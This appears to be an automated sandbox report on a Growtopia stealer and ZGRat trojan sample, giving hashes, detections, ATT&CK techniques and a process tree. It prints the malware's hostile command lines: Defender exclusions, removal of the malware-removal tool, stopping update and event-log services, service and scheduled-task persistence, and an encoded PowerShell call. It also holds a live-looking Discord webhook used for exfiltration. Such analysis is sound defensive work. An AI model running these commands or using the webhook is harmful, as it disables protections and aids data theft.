growtopia | 5e4fe16f13855e0c9cb6ffcf21ea0cc627536e2b0153cf6f2f8a8b1d85c0bfa1

Analysis

max time kernel
142s
max time network
151s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
04/02/2024, 02:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Radium/RadiumExecutor.exe
Size

12.6MB
MD5

7a17d34bac23e365863ea1da1e42e968
SHA1

b5ccab413899349d2821cc2798bce29f0118121f
SHA256

571a330dfb82f72878d9ede8bdfc332544446a0160117bf37399c3b9ca0775e2
SHA512

c021f26320c49c64831c676820d1bc7cb84ba3f49b798d4f858461eebc398a37d937de1d4cf214b973b8ac1cb693830894c4ae9b1bc7d62f2fd5d56b7d5ba4ac
SSDEEP

196608:MRvSjNRyzz9V4EAWzcNtYuZuT0ItZ/jBpOtwDc3rSlou2it3NaB+He+8:MRqjj+xV8acwWuNtZ/jetwc3SYihNqc

Score

10^/10

growtopia zgrat evasion persistence pyinstaller rat stealer

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/2376-58-0x0000000000980000-0x00000000009EC000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-67-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-69-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-66-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-74-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-71-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-80-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-78-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-76-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-84-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-82-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-88-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-86-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-90-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-92-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-94-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-96-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-98-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-100-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-102-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-104-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-106-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-110-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-108-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-112-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-114-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-116-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-118-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-120-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-122-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-124-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-126-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-128-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1
behavioral1/memory/2376-130-0x0000000000980000-0x00000000009E5000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 9 IoCs

pid	Process
2376	Ilkdt.exe
804	WinHostMgr.exe
2864	WinErrorMgr.exe
2704	KeyGeneratorI.exe
2532	Sahyui1337.exe
2200	KeyGeneratorI.exe
2732	WinErrorMgr.exe
468	Process not Found
2720	bauwrdgwodhv.exe

Loads dropped DLL 10 IoCs

pid	Process
1032	RadiumExecutor.exe
1032	RadiumExecutor.exe
1032	RadiumExecutor.exe
1032	RadiumExecutor.exe
1032	RadiumExecutor.exe
1032	RadiumExecutor.exe
2704	KeyGeneratorI.exe
2200	KeyGeneratorI.exe
2864	WinErrorMgr.exe
468	Process not Found

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	discord.com
3	discord.com

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2868	sc.exe
2012	sc.exe
2616	sc.exe
2724	sc.exe
2656	sc.exe
1652	sc.exe
1256	sc.exe
2812	sc.exe
1180	sc.exe
2028	sc.exe
2508	sc.exe
2436	sc.exe
1620	sc.exe
2856	sc.exe

Detects Pyinstaller 4 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0002000000018a71-24.dat	pyinstaller
behavioral1/files/0x0002000000018a71-26.dat	pyinstaller
behavioral1/files/0x0002000000018a71-45.dat	pyinstaller
behavioral1/files/0x0002000000018a71-52.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
380	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c014f5251457da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2792	powershell.exe
2532	Sahyui1337.exe
2532	Sahyui1337.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
804	WinHostMgr.exe
2720	bauwrdgwodhv.exe
2684	powershell.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe
2720	bauwrdgwodhv.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	Ilkdt.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2532	Sahyui1337.exe
Token: SeShutdownPrivilege	2040	powercfg.exe
Token: SeShutdownPrivilege	2480	powercfg.exe
Token: SeShutdownPrivilege	2504	powercfg.exe
Token: SeShutdownPrivilege	2944	powercfg.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeShutdownPrivilege	1240	powercfg.exe
Token: SeShutdownPrivilege	848	powercfg.exe
Token: SeShutdownPrivilege	1964	powercfg.exe
Token: SeShutdownPrivilege	756	powercfg.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 2792	1032	RadiumExecutor.exe	30
PID 1032 wrote to memory of 2792	1032	RadiumExecutor.exe	30
PID 1032 wrote to memory of 2792	1032	RadiumExecutor.exe	30
PID 1032 wrote to memory of 2792	1032	RadiumExecutor.exe	30
PID 1032 wrote to memory of 2376	1032	RadiumExecutor.exe	32
PID 1032 wrote to memory of 2376	1032	RadiumExecutor.exe	32
PID 1032 wrote to memory of 2376	1032	RadiumExecutor.exe	32
PID 1032 wrote to memory of 2376	1032	RadiumExecutor.exe	32
PID 1032 wrote to memory of 804	1032	RadiumExecutor.exe	33
PID 1032 wrote to memory of 804	1032	RadiumExecutor.exe	33
PID 1032 wrote to memory of 804	1032	RadiumExecutor.exe	33
PID 1032 wrote to memory of 804	1032	RadiumExecutor.exe	33
PID 1032 wrote to memory of 2864	1032	RadiumExecutor.exe	34
PID 1032 wrote to memory of 2864	1032	RadiumExecutor.exe	34
PID 1032 wrote to memory of 2864	1032	RadiumExecutor.exe	34
PID 1032 wrote to memory of 2864	1032	RadiumExecutor.exe	34
PID 1032 wrote to memory of 2704	1032	RadiumExecutor.exe	36
PID 1032 wrote to memory of 2704	1032	RadiumExecutor.exe	36
PID 1032 wrote to memory of 2704	1032	RadiumExecutor.exe	36
PID 1032 wrote to memory of 2704	1032	RadiumExecutor.exe	36
PID 1032 wrote to memory of 2532	1032	RadiumExecutor.exe	37
PID 1032 wrote to memory of 2532	1032	RadiumExecutor.exe	37
PID 1032 wrote to memory of 2532	1032	RadiumExecutor.exe	37
PID 1032 wrote to memory of 2532	1032	RadiumExecutor.exe	37
PID 2704 wrote to memory of 2200	2704	KeyGeneratorI.exe	38
PID 2704 wrote to memory of 2200	2704	KeyGeneratorI.exe	38
PID 2704 wrote to memory of 2200	2704	KeyGeneratorI.exe	38
PID 2864 wrote to memory of 2732	2864	WinErrorMgr.exe	39
PID 2864 wrote to memory of 2732	2864	WinErrorMgr.exe	39
PID 2864 wrote to memory of 2732	2864	WinErrorMgr.exe	39
PID 2864 wrote to memory of 2732	2864	WinErrorMgr.exe	39
PID 2732 wrote to memory of 380	2732	WinErrorMgr.exe	40
PID 2732 wrote to memory of 380	2732	WinErrorMgr.exe	40
PID 2732 wrote to memory of 380	2732	WinErrorMgr.exe	40
PID 2732 wrote to memory of 380	2732	WinErrorMgr.exe	40
PID 2036 wrote to memory of 2716	2036	cmd.exe	48
PID 2036 wrote to memory of 2716	2036	cmd.exe	48
PID 2036 wrote to memory of 2716	2036	cmd.exe	48
PID 948 wrote to memory of 2828	948	cmd.exe	82
PID 948 wrote to memory of 2828	948	cmd.exe	82
PID 948 wrote to memory of 2828	948	cmd.exe	82
PID 2720 wrote to memory of 2460	2720	bauwrdgwodhv.exe	93
PID 2720 wrote to memory of 2460	2720	bauwrdgwodhv.exe	93
PID 2720 wrote to memory of 2460	2720	bauwrdgwodhv.exe	93

C:\Users\Admin\AppData\Local\Temp\Radium\RadiumExecutor.exe
"C:\Users\Admin\AppData\Local\Temp\Radium\RadiumExecutor.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAawB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAdwBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAagB0ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:804
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2716
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2436
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2812
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1180
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2012
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1620
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2480
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:2028
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2040
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2656
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:2856
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2616
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4144.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:380
- C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
  "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
    "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2200
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2828
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1652
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2508
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1256
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1240
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe

Filesize
316KB

MD5
675d9e9ab252981f2f919cf914d9681d

SHA1
7485f5c9da283475136df7fa8b62756efbb5dd17

SHA256
0f055835332ef8e368185ae461e7c9eacdeb3d600ea550d605b09a20e0856e2d

SHA512
9dd936705fd43ebe8be17fcf77173eaaf16046f5880f8fe48fc68ded91ef6202ba65c605980bd2e330d2c7f463f772750a1bd96246fffdc9cb6bf8e1b00a2ccb

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe

Filesize
42KB

MD5
d499e979a50c958f1a67f0e2a28af43d

SHA1
1e5fa0824554c31f19ce01a51edb9bed86f67cf0

SHA256
bc3d545c541e42420ce2c2eabc7e5afab32c869a1adb20adb11735957d0d0b0e

SHA512
668047f178d82bebefeb8c2e7731d34ff24dc755dacd3362b43d8b44c6b148fc51af0d0ab2d0a67f0344ab6158b883fe568e4eeb0e34152108735574f0e1e763

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
2.3MB

MD5
ad00f798b883ead3c6f59c13a3ee4399

SHA1
18d3204a0375b764889d6b1adf843e0288ba736f

SHA256
c89d42caf24905f904b5acb1244711295398180563f68fd09dadf56cff7a9e85

SHA512
5cf1bea21789fdf584f4ecb5417bea528118a10d10d4b8df67d7d63941318d06868198806ce6460d1446dd8d1b107a8e709022d163370a9b33c5aa1aa2dc4c1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
1.9MB

MD5
584ab8c662d27ccdd5be295081915ff6

SHA1
7a1ce72a2ead2720e551a400570ce0d9012b3c44

SHA256
672347e0f0bf1935ab6d658ccadd8525e0bc58fd6b5505237cb4bf7026854997

SHA512
a4b6c6bf2985e1566e31ca87b8416ea3f1f3569d59750c2eccd3f9406c088e30868cd5639464a8f36faa81b267885949636af33673a6ad332f9989a89d47f80f

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
5.0MB

MD5
e222309197c5e633aa8e294ba4bdcd29

SHA1
52b3f89a3d2262bf603628093f6d1e71d9cc3820

SHA256
047a7ca1b8848c1c0e3c0fcc6ece056390760b24580f27f6966b86b0c2a1042b

SHA512
9eb37686e0cee9ec18d12a4edd37c8334d26650c74eae5b30231c2b0db1628d52848123c9348c3da306ec950b827ec0a56cdf43ee325a9e280022c68193d8503

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27042\python312.dll

Filesize
1.4MB

MD5
2505be6a785fdab9aeadb993935a0cfb

SHA1
555f7fceee041c1d977e6225c2408fcf7f9ee067

SHA256
3bac055c65319eb7440b08d2da4d3f2433aa2ce6d7f525ef3a3ddb2c14728a02

SHA512
22c69a80d62e190d9e9df95e262c341f49b6ac533fed4d9bc44fcb034a5070898943c57b3b7660b37ff74320b8980e7083f32ecf000d4d18589dee0dbb88058e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4144.tmp

Filesize
1KB

MD5
7f673f709ab0e7278e38f0fd8e745cd4

SHA1
ac504108a274b7051e3b477bcd51c9d1a4a01c2c

SHA256
da5ab3278aaa04fbd51272a617aef9b903ca53c358fac48fc0f558e257e063a4

SHA512
e932ccbd9d3ec6ee129f0dab82710904b84e657532c5b623d3c7b3b4ce45732caf8ff5d7b39095cf99ecf97d4e40dd9d755eb2b89c8ede629b287c29e41d1132

Download Submit
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
3.5MB

MD5
1d7fb1746a0c6c3fd0c34caab26f43a4

SHA1
7c1c2b317b98a80043c5526ceb91d46d5dabefce

SHA256
511090a13924a7071e5affae653250110d3fca79a126676fb4297334d03a03c4

SHA512
438844c71f0daadd6267902b0fa1763cdbcb2c0d1f1137980b5d851712c2b2626667140df00069353192d500ec7405c7b46399c6507166b4f9696a24400e425e

Download Submit
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
1.5MB

MD5
5f7ca3c83702edee95276dd90cc0cd4a

SHA1
e414a2de3f78f9d2df46f8388d610fc477e58d05

SHA256
c05acdad0628535a70527d01bbfab5b1909bb3cd783b6f11657a055bee5600c0

SHA512
af1f5acc5ab1c3172ff177bcb6bbbb7c680535b26d0f4b17acb906211c4307ea6e8e5022a72b781177568c6cd8088e5758c407594f54dd37db3e984a8f58437e

Download Submit
\Users\Admin\AppData\Local\Temp\Ilkdt.exe

Filesize
191KB

MD5
e004a568b841c74855f1a8a5d43096c7

SHA1
b90fd74593ae9b5a48cb165b6d7602507e1aeca4

SHA256
d49013d6be0f0e727c0b53bce1d3fed00656c7a2836ceef0a9d4cb816a5878db

SHA512
402dd4d4c57fb6f5c7a531b7210a897dfe41d68df99ae4d605944f6e5b2cecaafa3fe27562fe45e7e216a7c9e29e63139d4382310b41f04a35ad56115fbed2af

Download Submit
\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
2.6MB

MD5
a6c444a3f743ab46213fa60542593cf3

SHA1
64f70fb1eaa0eb971ec110ada277d17a202e3dfe

SHA256
b37c8099b6d467aadf111eb16a9294f73ab5bf99d6bc6809778b5c5124166fab

SHA512
b8d847184142d727f6284a1b75af489aa27ac19a56acd8bfda8424d5c90a54e6daaa529752ffe4eea078b579d279e67fb4cee6208a7c10f694a11ccbe145af04

Download Submit
\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
3.1MB

MD5
1290e5403186dbdc1212da0886e9d052

SHA1
a81aa49c7a2dd090d9f82f78ae78eafd6a77c239

SHA256
8f6c266502573cf60f153f0f44f8d85a75e7b4feb70ce089947ea954591983ec

SHA512
2f9ea97e24b6c6e80fbc7862968e8b75b4a60131f3e9acd56b08b6d2c50d3f4370767584dbddf0ca52060f2b827c0258206c88c3e14e530e69400752339b5382

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI27042\python312.dll

Filesize
256KB

MD5
13aec1064faffe4504c7156f95acbd21

SHA1
bbf065e7d45f6ecf5cc9efc75611f12574236120

SHA256
136cbb2590f31e7b393f5b9e07aabb068a23d10b657fc65a9b75149c2220b969

SHA512
4dc7985117621f2bb3ae17ed3af2a9d9dfbc821a3bf46394a369d8741a78988c42b603bfcfeeb7994a3e180be7852e88425b8899ee8f1243f023ba5414153f1b

Download Submit
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
3.0MB

MD5
201bcccfe04797559d9b47d1e11eedff

SHA1
72faaa9df7b9c7285d35c1dc1ac920420f26b380

SHA256
f28741dc19a9f30097a1f5f0460d0903e728bab5cbf6160fa16fb881dbff1182

SHA512
783b7660f65bcd6accec4f76a6c7fef46f4eee6e6593657d59a5861fcb8d72d994d5ba32811e4e333513e3e71113106ab8e963adcecce16e6adf91db1214c70a

Download Submit
\Users\Admin\AppData\Roaming\KeyGeneratorI.exe

Filesize
3.2MB

MD5
c42a93befba59e82fb1eab99543cfef3

SHA1
68320337de54ebecf7a986f2bba919840d9b6f9a

SHA256
81ef53921d474f2ad59229c7b891adf4aebbd5c23145d1e2012ca928739f10fe

SHA512
de22215242f78d94e3a30adc5a1835307860652650db309950de286d9454204bc3717ddcbde9793f862fedee69a76a8c52e51f8fe296a193536657856729ff09

Download Submit
memory/2376-71-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-90-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-51-0x0000000074890000-0x0000000074F7E000-memory.dmp

Filesize
6.9MB

Download
memory/2376-141-0x0000000000AA0000-0x0000000000AE0000-memory.dmp

Filesize
256KB

Download
memory/2376-1671-0x0000000074890000-0x0000000074F7E000-memory.dmp

Filesize
6.9MB

Download
memory/2376-58-0x0000000000980000-0x00000000009EC000-memory.dmp

Filesize
432KB

Download
memory/2376-67-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-69-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-66-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-130-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-74-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-128-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-80-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-78-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-76-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-84-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-82-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-88-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
memory/2376-86-0x0000000000980000-0x00000000009E5000-memory.dmp

Filesize
404KB

Download
